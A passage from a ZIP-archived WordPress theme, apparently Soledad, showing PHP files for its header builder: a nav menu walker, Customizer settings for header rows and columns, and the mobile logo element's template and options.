	if ( isset( $mpb[14] ) && is_numeric( $mpb[14] ) ) {
		$out .= 'border-bottom-right-radius:' . esc_attr( $mpb[14] ) . 'px;';
	}
	if ( isset( $mpb[15] ) && is_numeric( $mpb[15] ) ) {
		$out .= 'border-bottom-left-radius:' . esc_attr( $mpb[15] ) . 'px;';
	}

	return $out;
}PK     N\׆Ofi  i  (  inc/builder/customizer/menu-callback.phpnu [        <?php

/**
 * Class penci_menu_walker_nav_menu
 * This class will remove wrap </a> around mega menu
 * Callback on wp_nav_menu() in header.php file
 *
 * @since 1.0
 */
class penci_menu_builder_walker_nav_menu extends Walker_Nav_Menu {
	private $logo_break_point = null;
	private $count_item_parent = 0;
	private $curItem;

	/**
	 * Starts the list before the elements are added.
	 *
	 * @param string $output Passed by reference. Used to append additional content.
	 * @param int $depth Depth of menu item. Used for padding.
	 * @param mixed $args An array of arguments. @see wp_nav_menu().
	 *
	 * @since 3.0.0
	 *
	 * @see   Walker::start_lvl()
	 */
	public function start_lvl( &$output, $depth = 0, $args = array() ) {
		$menu_item       = $this->curItem;
		$penci_menu_type = get_post_meta( $menu_item->ID, 'penci_menu_type', true );
		$penci_menu_mw   = get_post_meta( $menu_item->ID, 'penci_menu_mw', true );

		$indent  = str_repeat( "\t", $depth );
		$classes = '';
		if ( 0 === $depth && 'mega-menu' == $penci_menu_type ) {

			$classes .= ' penci-dropdown-menu penci-dropdown';

			$classes .= $penci_menu_mw ? ' penci-mega-custom-width' : ' penci-mega-full-width';

			$output .= $indent . '<div class="' . trim( $classes ) . '">';
			$output .= $indent . '<div class="container">';
		}

		if ( 0 === $depth && 'mega-menu' == $penci_menu_type ) {
			$sub_menu_class = 'penci-megamenu-sub sub-sub-menu';
		} else {
			$sub_menu_class = 'sub-menu';
		}

		$output .= "\n$indent<ul class=\"$sub_menu_class\">\n";
	}

	/**
	 * Ends the list of after the elements are added.
	 *
	 * @param string $output Passed by reference. Used to append additional content.
	 * @param int $depth Depth of menu item. Used for padding.
	 * @param mixed $args An array of arguments. @see wp_nav_menu().
	 *
	 * @since 3.0.0
	 *
	 * @see   Walker::end_lvl()
	 */
	public function end_lvl( &$output, $depth = 0, $args = array() ) {
		$menu_item       = $this->curItem;
		$penci_menu_type = get_post_meta( $menu_item->ID, 'penci_menu_type', true );
		$indent          = str_repeat( "\t", $depth );
		$output          .= "$indent</ul>\n";

		if ( 0 === $depth && 'mega-menu' == $penci_menu_type ) {
			$output .= "$indent</div>\n";
			$output .= "$indent</div>\n";
		}
	}

	function start_el( &$output, $item, $depth = 0, $args = array(), $id = 0 ) {
		$this->curItem = $item;

		$indent = ( $depth ) ? str_repeat( "\t", $depth ) : '';

		$class_names = $value = '';

		$classes   = empty( $item->classes ) ? array() : (array) $item->classes;
		$classes[] = 'menu-item-' . $item->ID;

		/**
		 * Filter the CSS classes applied to a menu items
		 *
		 * @param array $classes The CSS classes that are applied to the menu items
		 * @param object $item Current menu item
		 * @param array $args Array of arguments
		 *
		 * @since 1.0
		 *
		 */
		$class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item, $args, $depth ) );
		$class_names = $class_names ? ' class="' . esc_attr( $class_names ) . '"' : '';

		/**
		 * Filter the ID applied to a menu items
		 *
		 * @param string       ID that is applied to the menu items
		 * @param object $item Current menu item.
		 * @param array $args Array of arguments
		 *
		 * @since 1.0
		 *
		 */
		$id = apply_filters( 'nav_menu_item_id', 'menu-item-' . $item->ID, $item, $args );
		$id = $id ? ' id="' . esc_attr( $id ) . '"' : '';

		$output .= $indent . '<li' . $id . $value . $class_names . '>';

		$atts           = array();
		$atts['title']  = ! empty( $item->attr_title ) ? $item->attr_title : '';
		$atts['target'] = ! empty( $item->target ) ? $item->target : '';
		$atts['rel']    = ! empty( $item->xfn ) ? $item->xfn : '';
		$atts['href']   = ! empty( $item->url ) ? $item->url : '';

		/**
		 * Filter the HTML attributes applied to a menu items
		 *
		 * @param array $atts
		 * @param object $item The current menu item.
		 * @param array $args An array of arguments
		 *
		 * @since 1.0
		 *
		 */
		$atts = apply_filters( 'nav_menu_link_attributes', $atts, $item, $args, $depth );

		$attributes = '';
		foreach ( $atts as $attr => $value ) {
			if ( ! empty( $value ) ) {
				$value      = ( 'href' === $attr ) ? esc_url( $value ) : esc_attr( $value );
				$attributes .= ' ' . $attr . '="' . $value . '"';
			}
		}

		$item_output = $args->before;

		if ( $item->is_mega_menu == false ) {
			$item_output .= '<a' . $attributes . '>';
		}

		$item_title = $item->is_mega_menu ? $item->title : apply_filters( 'the_title', $item->title, $item->ID );

		$item_output .= $args->link_before . $item_title . $args->link_after;

		if ( $item->is_mega_menu == false ) {
			$item_output .= '</a>';
		}
		$item_output .= $args->after;

		/**
		 * Filter a menu item's starting output
		 *
		 * @param string $item_output The menu items starting HTML output
		 * @param object $item Menu item data object
		 * @param int $depth Depth of menu item
		 * @param array $args Array of arguments
		 *
		 * @since 1.0
		 *
		 */
		$output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args );
	}

	function end_el( &$output, $item, $depth = 0, $args = array() ) {
		if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) {
			$t = '';
			$n = '';
		} else {
			$t = "\t";
			$n = "\n";
		}
		$output .= "</li>{$n}";

		$item_parent = $item->menu_item_parent ? $item->menu_item_parent : '0';

		if ( '0' === $item_parent ) {
			$this->count_item_parent ++;
		}
	}
}
PK     N\TT-  -  (  inc/builder/customizer/buider_config.phpnu [        <?php
$builder_settings            = 'penci_builder_mods';
$builder_section             = 'penci_header_builder_block';
$builder_rows_desktop        = [ 'topblock', 'top', 'mid', 'bottom', 'bottomblock' ];
$builder_rows_desktop_sticky = [
	'top'    => 'Sticky Top',
	'mid'    => 'Sticky Middle',
	'bottom' => 'Sticky Bottom'
];
$builder_columns_desktop     = [ 'left', 'center', 'right' ];
$builder_rows_mobile         = [ 'top', 'mid', 'bottom' ];
$builder_columns_mobile      = [ 'left', 'center', 'right' ];
$builder_row_sidebar         = [ 'top', 'bottom' ];
$builder_columns_sidebar     = [ 'center' ];
$partial_refresh_id          = [
	'topblock'    => '.penci_topblock.penci-desktop-topblock',
	'top'         => '.penci-desktop-topbar',
	'mid'         => '.penci-desktop-midbar',
	'bottom'      => '.penci-desktop-bottombar',
	'bottomblock' => '.penci-desktop-bottomblock',
];
$partial_mobile_refresh_id   = [
	'top'    => '.penci-mobile-topbar',
	'mid'    => '.penci-mobile-midbar',
	'bottom' => '.penci-mobile-bottombar',
];
$partial_sticky_refresh_id   = [
	'top'    => '.penci-desktop-sticky-top',
	'mid'    => '.penci-desktop-sticky-mid',
	'bottom' => '.penci-desktop-sticky-bottom',
];

/* General Set up*/
$wp_customize->add_panel( 'header_builder_config', array(
	'priority'    => 1,
	'title'       => esc_html__( 'Header Builder', 'soledad' ),
	'description' => esc_html__( 'Build your site header with Customizer', 'soledad' ),
) );

$wp_customize->add_section( $builder_section, array(
	'title'       => esc_html__( 'Builder Settings', 'soledad' ),
	'description' => esc_html__( 'General Builder', 'soledad' ),
	'panel'       => 'header_builder_config',
	'priority'    => 900,
) );

$wp_customize->add_section( 'penci_header_desktop_sticky_section', array(
	'title'    => esc_html__( 'Sticky Header', 'soledad' ),
	'panel'    => 'header_builder_config',
	'priority' => 20,
) );

$wp_customize->add_section( 'penci_header_mobile_option_section', array(
	'title'    => esc_html__( 'Mobile Header', 'soledad' ),
	'panel'    => 'header_builder_config',
	'priority' => 20,
) );

$wp_customize->add_section( 'penci_header_drawer_container_section', array(
	'title'    => esc_html__( 'Mobile Sidebar', 'soledad' ),
	'panel'    => 'header_builder_config',
	'priority' => 20,
) );

/* Main Builder Section */
$wp_customize->add_setting( 'penci_hb_arrange_bar', array(
	'default'           => 'topblock,top,mid,bottom,bottomblock',
	'sanitize_callback' => 'penci_text_sanitization',
) );
$wp_customize->add_control( new Penci_Dropdown_Select2_Custom_Control( $wp_customize, 'penci_hb_arrange_bar', [
	'label'       => esc_html__( 'Desktop Element Sort', 'soledad' ),
	'section'     => $builder_section,
	'input_attrs' => array(
		'multiselect' => true,
	),
	'choices'     => [
		'topblock'    => esc_attr__( 'Top Ads', 'soledad' ),
		'top'         => esc_attr__( 'Top', 'soledad' ),
		'mid'         => esc_attr__( 'Mid', 'soledad' ),
		'bottom'      => esc_attr__( 'Bottom', 'soledad' ),
		'bottomblock' => esc_attr__( 'Bottom Ads', 'soledad' ),
	],
] ) );

foreach ( $builder_rows_desktop as $row ) {
	foreach ( $builder_columns_desktop as $column ) {
		$wp_customize->add_setting( "penci_hb_align_desktop_{$row}_{$column}", array(
			'default'           => $column,
			'transport'         => 'postMessage',
			'sanitize_callback' => 'penci_sanitize_choices_field'
		) );
		$wp_customize->add_control( new WP_Customize_Control( $wp_customize, "penci_hb_align_desktop_{$row}_{$column}", [
			'type'     => 'select',
			'label'    => ucfirst( $row ) . ' ' . ucfirst( $column ) . ' ' . esc_html__( 'Align', 'soledad' ),
			'section'  => $builder_section,
			'settings' => "penci_hb_align_desktop_{$row}_{$column}",
			'choices'  => [
				'left'   => esc_attr__( 'Left', 'soledad' ),
				'center' => esc_attr__( 'Center', 'soledad' ),
				'right'  => esc_attr__( 'Right', 'soledad' ),
			],
		] ) );
		
		$wp_customize->add_setting( "penci_hb_flex_desktop_{$row}_{$column}", array(
			'default'           => 'row',
			'transport'         => 'postMessage',
			'sanitize_callback' => 'penci_sanitize_choices_field'
		) );
		$wp_customize->add_control( new WP_Customize_Control( $wp_customize, "penci_hb_flex_desktop_{$row}_{$column}", [
			'type'     => 'select',
			'label'    => ucfirst( $row ) . ' ' . ucfirst( $column ) . ' ' . esc_html__( 'Flex Direction', 'soledad' ),
			'section'  => $builder_section,
			'settings' => "penci_hb_flex_desktop_{$row}_{$column}",
			'choices'  => [
				'row'   	=> esc_attr__( 'Row', 'soledad' ),
				'column' 	=> esc_attr__( 'Column', 'soledad' ),
			],
		] ) );


		$wp_customize->add_setting( "penci_hb_element_desktop_{$row}_{$column}", array(
			'default'           => '',
			'transport'         => 'postMessage',
			'sanitize_callback' => 'penci_text_sanitization'
		) );
		$wp_customize->add_control( new Penci_Dropdown_Select2_Custom_Control( $wp_customize, "penci_hb_element_desktop_{$row}_{$column}", [
			'label'       => ucfirst( $row ) . ' ' . ucfirst( $column ) . ' ' . esc_html__( 'Element', 'soledad' ),
			'section'     => $builder_section,
			'input_attrs' => array(
				'multiselect' => true,
			),
			'choices'     => HeaderBuilder::desktop_header_element(),
		] ) );

		$wp_customize->selective_refresh->add_partial( "penci_hb_element_desktop_{$row}_{$column}", array(
			'selector'            => $partial_refresh_id[ $row ],
			'settings'            => [
				"penci_hb_align_desktop_{$row}_{$column}",
				"penci_hb_flex_desktop_{$row}_{$column}",
				"penci_hb_element_desktop_{$row}_{$column}",
			],
			'container_inclusive' => true,
			'render_callback'     => "penci_hb_element_desktop_{$row}_preview_render",
			'fallback_refresh'    => false,
		) );
	}
}

/* Mobile Elements*/
foreach ( $builder_rows_mobile as $row ) {
	foreach ( $builder_columns_mobile as $column ) {
		$wp_customize->add_setting( "penci_hb_align_mobile_{$row}_{$column}", array(
			'default'           => $column,
			'transport'         => 'postMessage',
			'sanitize_callback' => 'penci_sanitize_choices_field'
		) );
		$wp_customize->add_control( new WP_Customize_Control( $wp_customize, "penci_hb_align_mobile_{$row}_{$column}", [
			'type'    => 'select',
			'label'   => __( 'Mobile ', 'soledad' ) . ucfirst( $row ) . ' ' . ucfirst( $column ) . ' ' . esc_html__( 'Align', 'soledad' ),
			'section' => $builder_section,
			'choices' => [
				'left'   => esc_attr__( 'Left', 'soledad' ),
				'center' => esc_attr__( 'Center', 'soledad' ),
				'right'  => esc_attr__( 'Right', 'soledad' ),
			],
		] ) );

		$wp_customize->add_setting( "penci_hb_element_mobile_{$row}_{$column}", array(
			'default'           => '',
			'transport'         => 'postMessage',
			'sanitize_callback' => 'penci_text_sanitization'
		) );
		$wp_customize->add_control( new Penci_Dropdown_Select2_Custom_Control( $wp_customize, "penci_hb_element_mobile_{$row}_{$column}", [
			'label'       => __( 'Mobile ', 'soledad' ) . ucfirst( $row ) . ' ' . ucfirst( $column ) . ' ' . esc_html__( 'Element', 'soledad' ),
			'section'     => $builder_section,
			'input_attrs' => array(
				'multiselect' => true,
			),
			'choices'     => HeaderBuilder::mobile_header_element(),
		] ) );

		$wp_customize->selective_refresh->add_partial( "penci_hb_element_mobile_{$row}_{$column}", array(
			'selector'            => $partial_mobile_refresh_id[ $row ],
			'setttings'           => [
				"penci_hb_align_mobile_{$row}_{$column}",
				"penci_hb_element_mobile_{$row}_{$column}"
			],
			'container_inclusive' => true,
			'render_callback'     => "penci_hb_element_mobile_{$row}_preview_render",
			'fallback_refresh'    => false,
		) );
	}
}

/* Header Sticky Elements*/
foreach ( $builder_rows_desktop_sticky as $row => $row_name ) {
	foreach ( $builder_columns_desktop as $column ) {
		$wp_customize->add_setting( "penci_hb_align_desktop_sticky_{$row}_{$column}", array(
			'default'           => $column,
			'transport'         => 'postMessage',
			'sanitize_callback' => 'penci_sanitize_choices_field'
		) );
		$wp_customize->add_control( new WP_Customize_Control( $wp_customize, "penci_hb_align_desktop_sticky_{$row}_{$column}", [
			'type'    => 'select',
			'label'   => __( 'Desktop Sticky ', 'soledad' ) . ucfirst( $row ) . ' ' . ucfirst( $column ) . ' ' . esc_html__( 'Align', 'soledad' ),
			'section' => $builder_section,
			'choices' => [
				'left'   => esc_attr__( 'Left', 'soledad' ),
				'center' => esc_attr__( 'Center', 'soledad' ),
				'right'  => esc_attr__( 'Right', 'soledad' ),
			],
		] ) );


		$wp_customize->add_setting( "penci_hb_element_desktop_sticky_{$row}_{$column}", array(
			'default'           => '',
			'transport'         => 'postMessage',
			'sanitize_callback' => 'penci_text_sanitization'
		) );
		$wp_customize->add_control( new Penci_Dropdown_Select2_Custom_Control( $wp_customize, "penci_hb_element_desktop_sticky_{$row}_{$column}", [
			'label'       => __( 'Desktop Sticky ', 'soledad' ) . ucfirst( $row ) . ' ' . ucfirst( $column ) . ' ' . esc_html__( 'Element', 'soledad' ),
			'section'     => $builder_section,
			'input_attrs' => array(
				'multiselect' => true,
			),
			'choices'     => HeaderBuilder::desktop_header_element(),
		] ) );

		$wp_customize->selective_refresh->add_partial( "penci_hb_element_desktop_sticky_{$row}_{$column}", array(
			'selector'            => $partial_sticky_refresh_id[ $row ],
			'setttings'           => [
				"penci_hb_align_desktop_sticky_{$row}_{$column}",
				"penci_hb_element_desktop_sticky_{$row}_{$column}"
			],
			'container_inclusive' => true,
			'render_callback'     => "penci_hb_element_desktop_sticky_{$row}_preview_render",
			'fallback_refresh'    => false,
		) );
	}
}

/* Mobile Sidebar Elements*/
foreach ( $builder_row_sidebar as $row ) {
	foreach ( $builder_columns_sidebar as $column ) {
		$wp_customize->add_setting( "penci_hb_align_mobile_drawer_{$row}_{$column}", array(
			'default'           => $column,
			'transport'         => 'postMessage',
			'sanitize_callback' => 'penci_sanitize_choices_field'
		) );
		$wp_customize->add_control( new WP_Customize_Control( $wp_customize, "penci_hb_align_mobile_drawer_{$row}_{$column}", [
			'type'    => 'select',
			'label'   => __( 'Mobile Sidebar ', 'soledad' ) . ucfirst( $row ) . ' ' . ucfirst( $column ) . ' ' . esc_html__( 'Align', 'soledad' ),
			'section' => $builder_section,
			'choices' => [
				'left'   => esc_attr__( 'Left', 'soledad' ),
				'center' => esc_attr__( 'Center', 'soledad' ),
				'right'  => esc_attr__( 'Right', 'soledad' ),
			],
		] ) );

		$wp_customize->add_setting( "penci_hb_element_mobile_drawer_{$row}_{$column}", array(
			'default'           => '',
			'transport'         => 'postMessage',
			'sanitize_callback' => 'penci_text_sanitization'
		) );
		$wp_customize->add_control( new Penci_Dropdown_Select2_Custom_Control( $wp_customize, "penci_hb_element_mobile_drawer_{$row}_{$column}", [
			'label'       => __( 'Mobile Sidebar ', 'soledad' ) . ucfirst( $row ) . ' ' . ucfirst( $column ) . ' ' . esc_html__( 'Element', 'soledad' ),
			'section'     => $builder_section,
			'input_attrs' => array(
				'multiselect' => true,
			),
			'choices'     => HeaderBuilder::mobile_header_element(),
		] ) );

		$wp_customize->selective_refresh->add_partial( "penci_hb_element_mobile_drawer_{$row}_{$column}", array(
			'selector'            => '.penci-mobile-sidebar-content-wrapper',
			'settings'            => [
				"penci_hb_align_mobile_drawer_{$row}_{$column}",
				"penci_hb_element_mobile_drawer_{$row}_{$column}"
			],
			'container_inclusive' => true,
			'render_callback'     => function () {
				load_template( PENCI_BUILDER_PATH . '/template/mobile-menu-content.php' );
			},
			'fallback_refresh'    => false,
		) );
	}
}
PK     N\Sz3  3  1  inc/builder/elements/pb_logo_mobile/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$logo_settings = 'penci_header_pb_logo_mobile';
$logo_url      = get_theme_mod( 'penci_custom_url_logo' ) ? get_theme_mod( 'penci_custom_url_logo' ) : esc_url( home_url( '/' ) );
$logo_display  = penci_builder_validate_mod( $header_data, $logo_settings . '_logo_display', 'image' );
$logo_title    = penci_builder_validate_mod( $header_data, $logo_settings . '_site_title' );
$logo_slogan   = penci_builder_validate_mod( $header_data, $logo_settings . '_site_description' );
$logo_class    = penci_builder_validate_mod( $header_data, $logo_settings . '_class' );
if ( penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_href' ) ) {
	$logo_url = penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_href' );
}
$logo_src = PENCI_SOLEDAD_URL . '/images/logo.png';
if ( get_theme_mod( 'penci_logo' ) ) {
	$logo_src = get_theme_mod( 'penci_logo' );
}
if ( penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_url' ) ) {
	$logo_src = penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_url' );
}

if ( is_page() ) {
	$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
	if ( isset( $pmeta_page_header['custom_logo'] ) && $pmeta_page_header['custom_logo'] ) {

		$logo_src_meta = wp_get_attachment_url( intval( $pmeta_page_header['custom_logo'] ) );
		if ( $logo_src_meta ) {
			$logo_src = $logo_src_meta;
		}
	}
}
$extra_logo_class = ' pclogo-cls';
if ( 'image' == $logo_display ):
	$data_dark_logo = '';
	$dark_logo      = get_theme_mod( 'penci_menu_logo_dark' );
	if ( $dark_logo && get_theme_mod( 'penci_dms_enable' ) ) {
		$data_dark_logo .= 'data-lightlogo="' . esc_url( $logo_src ) . '"';
		$data_dark_logo .= ' data-darklogo="' . esc_url( $dark_logo ) . '"';
	}
	?>
    <div class="pc-builder-element pc-logo pb-logo-mobile penci-header-image-logo <?php echo esc_attr( $logo_class ); ?>">
        <a href="<?php echo $logo_url; ?>">
            <img class="penci-mainlogo penci-limg<?php echo $extra_logo_class; ?>" <?php echo $data_dark_logo; ?>
                 src="<?php echo esc_url( $logo_src ); ?>"
                 alt="<?php bloginfo( 'name' ); ?>"
                 width="<?php echo penci_get_image_data_basedurl( $logo_src, 'w' ); ?>"
                 height="<?php echo penci_get_image_data_basedurl( $logo_src, 'h' ); ?>">
			<?php if ( ! empty( $logo_slogan ) ): ?>
                <div class="site-slogan"><span><?php echo esc_attr( $logo_slogan ); ?></span></div>
			<?php endif; ?>
        </a>
    </div>
<?php 
else: ?>
    <div class="pc-builder-element pc-logo pb-logo-mobile penci-header-text-logo <?php echo esc_attr( $logo_class ); ?>">
        <a href="<?php echo $logo_url; ?>">
			<?php if ( ! empty( $logo_title )): ?>
                <div class="site-name"><?php echo esc_attr( $logo_title ); ?></div>
			<?php endif; ?>
			<?php if ( ! empty( $logo_slogan ) ): ?>
                <div class="site-slogan"><span><?php echo esc_attr( $logo_slogan ); ?></span></div>
			<?php endif; ?>
        </a>
    </div>
<?php 
endif;
PK     N\$  $  0  inc/builder/elements/pb_logo_mobile/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'              => 'penci_header_pb_logo_mobile_logo_display',
	'default'         => 'image',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-radio',
	
	'label'           => esc_html__( 'Display Logo as', 'soledad' ),
	'priority'        => 10,
	'choices'         => [
		'image' => esc_html__( 'Logo Image', 'soledad' ),
		'text'  => esc_html__( 'Text', 'soledad' ),
	],
	'partial_refresh' => [
		'penci_header_pb_logo_mobile_logo_display' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'          => 'penci_header_pb_logo_mobile_image_setting_url',
	'default'     => '',
	'transport'   => 'postMessage',
	'sanitize'    => 'penci_sanitize_choices_field',
	'type'        => 'soledad-fw-image',
	
	'label'       => esc_html__( 'Logo Image', 'soledad' ),
	'description' => esc_html__( 'Upload your image logo here', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_logo_mobile_image_setting_url' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_mobile_size_logo_mw',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Maxium Width for Logo Image', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_logo_mobile_size_logo_mw',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_mobile_size_logo_mh',
	'default'   => '60',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __( 'Maxium Height for Logo Image', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_logo_mobile_size_logo_mh',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_mobile_image_setting_href',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-text',
	
	'label'     => __( 'Custom Logo Link', 'soledad' ),
	'priority'  => 10,
);
$options[] = array(
	'id'              => 'penci_header_pb_logo_mobile_site_title',
	'default'         => '',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-text',
	
	'label'           => esc_html__( 'Text Logo', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_logo_mobile_site_title' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'              => 'penci_header_pb_logo_mobile_site_description',
	'default'         => '',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-textarea',
	
	'label'           => esc_html__( 'Slogan Text', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_logo_mobile_site_description' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_mobile_font_size_logo',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Font Size for Text Logo', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_logo_mobile_font_size_logo',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
/* Text Logo */
$options[] = array(
	'id'        => 'penci_header_pb_logo_mobile_color_logo',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Color for Text Logo','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'          => 'penci_header_pb_logo_mobile_penci_font_for_title',
	'default'     => '',
	'transport'   => 'postMessage',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __('Font for Text Logo','soledad' ),
	
	'description' => __('Default font is "PT Serif"','soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_mobile_penci_font_weight_title',
	'default'   => 'bold',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight for Text Logo','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_mobile_penci_font_style_title',
	'default'   => 'normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Style for Text Logo','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal' => __('Normal','soledad' ),
		'italic' => __('Italic','soledad' ),
	)
);
/* Slogan*/
$options[] = array(
	'id'        => 'penci_header_pb_logo_mobile_font_size_slogan',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Font Size for Slogan', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_logo_mobile_font_size_slogan',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_mobile_color_slogan',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Color Header Slogan','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'          => 'penci_header_pb_logo_mobile_penci_font_for_slogan',
	'default'     => '',
	'transport'   => 'postMessage',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __('Font for Slogan Text','soledad' ),
	
	'description' => __('Default font is "PT Serif"','soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_mobile_penci_font_weight_slogan',
	'default'   => 'bold',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight for Slogan Text','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_mobile_penci_font_style_slogan',
	'default'   => 'normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Style for Slogan Text','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal' => __('Normal','soledad' ),
		'italic' => __('Italic','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_mobile_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_mobileclass',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     N\&;$    5  inc/builder/elements/pb_vertical_line_5/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
// verical line
$line5_width = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line5_width' );
$line5_height = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line5_height' );
$line5_color = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line5_color' );
$line5_class = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line5_class' );
$data_attr   = [];
if ( ! empty( $line5_width ) ) {
	$data_attr[] = 'width:' . $line5_width . 'px;';
}
if ( ! empty( $line5_height ) ) {
	$data_attr[] = 'height:' . $line5_height . 'px;';
}
if ( ! empty( $line5_color ) ) {
	$data_attr[] = 'background-color:' . $line5_color . ';';
}
$data_attr = implode( ' ', $data_attr );
?>
<div style="<?php echo $data_attr; ?>"
